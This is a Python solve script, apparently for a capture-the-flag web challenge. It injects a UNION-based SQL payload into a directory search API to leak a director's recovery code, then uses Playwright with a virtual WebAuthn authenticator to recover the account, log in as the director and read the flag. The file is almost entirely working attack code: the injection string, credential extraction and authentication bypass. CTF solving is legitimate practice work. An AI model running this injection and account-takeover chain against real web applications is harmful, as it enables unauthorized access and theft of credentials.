148 lines
4.9 KiB
Python
148 lines
4.9 KiB
Python
import argparse
|
||
import re
|
||
import sys
|
||
from dataclasses import dataclass
|
||
from urllib.parse import urljoin
|
||
|
||
import requests
|
||
import urllib3
|
||
from playwright.sync_api import BrowserContext, Page, sync_playwright
|
||
|
||
|
||
DIRECTOR_QUERY = (
|
||
"') UNION ALL SELECT codename,recovery_code,division,dossier "
|
||
"FROM directory_public_view WHERE role='director' -- "
|
||
)
|
||
RECOVERY_CODE_RE = re.compile(r"^[0-9a-f]{24}$")
|
||
|
||
|
||
@dataclass
|
||
class DirectorProfile:
|
||
codename: str
|
||
recovery_code: str
|
||
|
||
|
||
def parse_args() -> argparse.Namespace:
|
||
parser = argparse.ArgumentParser(description="Exploit Umbrella BioAccess and print the flag.")
|
||
parser.add_argument("--base-url", required=True, help="Base URL of the challenge, e.g. https://bioaccess.ctf")
|
||
parser.add_argument(
|
||
"--insecure",
|
||
action="store_true",
|
||
help="Disable TLS verification for self-signed challenge certificates",
|
||
)
|
||
parser.add_argument(
|
||
"--headful",
|
||
action="store_true",
|
||
help="Run Chromium in headful mode for debugging",
|
||
)
|
||
return parser.parse_args()
|
||
|
||
|
||
def api_url(base_url: str, path: str) -> str:
|
||
return urljoin(base_url.rstrip("/") + "/", path.lstrip("/"))
|
||
|
||
|
||
def discover_director(base_url: str, insecure: bool) -> DirectorProfile:
|
||
session = requests.Session()
|
||
session.verify = not insecure
|
||
|
||
if insecure:
|
||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||
|
||
response = session.post(
|
||
api_url(base_url, "/api/directory/search"),
|
||
json={"query": DIRECTOR_QUERY},
|
||
timeout=20,
|
||
)
|
||
response.raise_for_status()
|
||
payload = response.json()
|
||
|
||
items = payload.get("items", [])
|
||
for item in items:
|
||
codename = str(item.get("codename", ""))
|
||
display_name = str(item.get("displayName", ""))
|
||
if RECOVERY_CODE_RE.fullmatch(display_name):
|
||
return DirectorProfile(codename=codename, recovery_code=display_name)
|
||
|
||
raise RuntimeError("Director recovery vector not found in SQLi response")
|
||
|
||
|
||
def enable_virtual_authenticator(context: BrowserContext, page: Page) -> None:
|
||
cdp = context.new_cdp_session(page)
|
||
cdp.send("WebAuthn.enable")
|
||
cdp.send(
|
||
"WebAuthn.addVirtualAuthenticator",
|
||
{
|
||
"options": {
|
||
"protocol": "ctap2",
|
||
"transport": "internal",
|
||
"hasResidentKey": True,
|
||
"hasUserVerification": True,
|
||
"isUserVerified": True,
|
||
"automaticPresenceSimulation": True,
|
||
}
|
||
},
|
||
)
|
||
|
||
|
||
def solve_with_browser(base_url: str, profile: DirectorProfile, insecure: bool, headful: bool) -> str:
|
||
with sync_playwright() as playwright:
|
||
browser = playwright.chromium.launch(headless=not headful)
|
||
context = browser.new_context(ignore_https_errors=insecure)
|
||
page = context.new_page()
|
||
|
||
enable_virtual_authenticator(context, page)
|
||
|
||
page.goto(api_url(base_url, "/recovery"), wait_until="networkidle")
|
||
page.get_by_test_id("recovery-code").fill(profile.recovery_code)
|
||
page.get_by_test_id("recovery-submit").click()
|
||
page.wait_for_url(re.compile(r".*/access$"), timeout=20_000)
|
||
|
||
page.get_by_test_id("login-codename").fill(profile.codename)
|
||
page.get_by_test_id("login-submit").click()
|
||
page.wait_for_url(re.compile(r".*/vault$"), timeout=20_000)
|
||
|
||
page.get_by_test_id("vault-fetch").click()
|
||
page.wait_for_function(
|
||
"""
|
||
() => {
|
||
const node = document.querySelector('[data-testid="vault-flag"]');
|
||
return node && node.textContent && node.textContent.trim() !== '\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0435 \u0432\u044b\u0434\u0430\u043d\u044b.';
|
||
}
|
||
""",
|
||
timeout=20_000,
|
||
)
|
||
flag = page.get_by_test_id("vault-flag").text_content().strip()
|
||
|
||
browser.close()
|
||
|
||
if not flag or flag == "Материалы не выданы." or flag == "МАТЕРИАЛЫ НЕ ВЫДАНЫ.":
|
||
raise RuntimeError("Vault returned no payload")
|
||
if not flag.lower().startswith("caplag{"):
|
||
raise RuntimeError(f"Unexpected flag format: {flag}")
|
||
|
||
return flag.lower()
|
||
|
||
|
||
def main() -> int:
|
||
args = parse_args()
|
||
|
||
try:
|
||
profile = discover_director(args.base_url, args.insecure)
|
||
print(f"[+] director codename: {profile.codename}")
|
||
print(f"[+] recovery code: {profile.recovery_code}")
|
||
|
||
flag = solve_with_browser(args.base_url, profile, args.insecure, args.headful)
|
||
print(f"[+] flag: {flag}")
|
||
return 0
|
||
except Exception as exc:
|
||
message = str(exc)
|
||
if "Executable doesn't exist" in message or "playwright install" in message.lower():
|
||
message = f"{message}\n[hint] install a browser with: python -m playwright install chromium"
|
||
print(f"[-] solve failed: {message}", file=sys.stderr)
|
||
return 1
|
||
|
||
|
||
if __name__ == "__main__":
|
||
raise SystemExit(main())
|